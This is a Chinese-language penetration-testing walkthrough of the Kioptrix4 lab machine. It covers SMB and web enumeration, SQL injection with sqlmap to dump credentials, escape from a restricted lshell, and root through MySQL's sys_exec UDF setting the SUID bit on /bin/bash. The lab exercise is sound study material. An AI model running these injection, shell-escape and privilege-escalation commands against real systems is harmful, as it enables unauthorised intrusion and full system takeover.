勘探
nmap探查
445smb
smbclient -L 192.168.1.108/IPC Enter WORKGROUProot's password: Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))Reconnecting with SMB1 for workgroup listing.Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- MYGROUP KIOPTRIX WORKGROUP KIOPTRIX4
发现可以匿名访问,但是什么也没有,只有一个IPC空连接和print打印机
使用在80端口发现的账号发现不对
smbclient -L 192.168.1.108 -U john%1234session setup failed: NT_STATUS_LOGON_FAILURE
80web
打开发现是一个登陆面板
用dirsearch扫一下
python3.9 dirsearch.py -u 192.168.1.108 [16:40:34] 200 - 109B - /checklogin [16:40:34] 200 - 109B - /checklogin.php [16:40:36] 200 - 298B - /database.sql [16:40:34] 200 - 109B - /checklogin [16:40:34] 200 - 109B - /checklogin.php [16:40:36] 200 - 298B - /database.sql [16:40:41] 200 - 932B - /images/
发现暴漏了一个database文件
CREATE TABLE `members` (`id` int(4) NOT NULL auto_increment,`username` varchar(65) NOT NULL default '',`password` varchar(65) NOT NULL default '',PRIMARY KEY (`id`)) TYPE=MyISAM AUTO_INCREMENT=2 ;-- -- Dumping data for table `members`-- INSERT INTO `members` VALUES (1, 'john', '1234');
发现有一条记录关于john用户的
登陆一下,发现登录不上
换一个大一点的字典
python3.9 dirsearch.py -u 192.168.1.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[16:21:49] 200 - 1KB - /index[16:21:50] 302 - 220B - /member -> index.php [16:21:51] 301 - 354B - /images -> http://192.168.1.108/images/ [16:21:53] 302 - 0B - /logout -> index.php [16:21:57] 301 - 352B - /john -> http://192.168.1.108/john/ [16:22:14] 301 - 354B - /robert -> http://192.168.1.108/robert/ [16:27:29] 403 - 333B - /server-status
发现了除了john还有一个叫robert的用户
没有密码,还是不行
登陆界面用户名处好像没问题
但是密码处存在单引号注入
22ssh
尝试使用sql文件中的john%1234,登陆失败
获取用户权限
由于ssh我们登陆失败,smb是空的,所以我们只能寄希望于sql注入或者爆破账户名密码能够爆出有用的信息
首先尝试了hydra的弱口令密码爆破,显而易见没有得到密码
然后我们使用sqlmap来对我们之前发现的sql报错点进行爆库名,表名,信息等操作
首先对提交用户名密码的数据包进行抓包,并在密码后加上*保存至db文件中
sqlmap -r db -batch --dbs
发现存在
两个默认的数据库
information_schema
mysql
以及一个非默认数据库
member
那么继续看看这个非默认的数据库中有什么表
qlmap -r db --batch -D members --tables
发现存在
只有爆破出一个表
members
那么看看表中的内容把
sqlmap -r db --batch -D members -T members --dump
![2020011415360890[1].png][3]
robert应该是base加密不需要理他
直接用john的账号登录,但是发现什么也没有
那么看来这个登陆面板就是为了留一个sql注入的口,让我们得到密码的,那么继续用ssh登录
ssh john@ip MyNameIsJohn
进入后发现有一个限制shell命令的开源shell
这玩意其实和咱们转发出来的shell没区别,用一些逃逸语句就可以跑出来
echo os.system('/bin/bash')
还看到一种说法使用lshell的漏洞来进行逃逸但我没复现成功。不知道怎么会是
然后查看
正在运行的进程发现mysql的权限配置存在一些问题,mysqld和safe都以root权限运行,这导致了存在一个mysql的udf提权
ps -ef | grep root 查看以root权限运行的进程
使用命令
mysql -u root -e "select * from mysql.func;"
发现甚至里面都有sys_exec函数
那么直接执行就可以
那么用mysql直接执行
select sys_exec('chmod u+s /bin/bash');
然后就可以用
bash -p
来调出一个root权限的shell了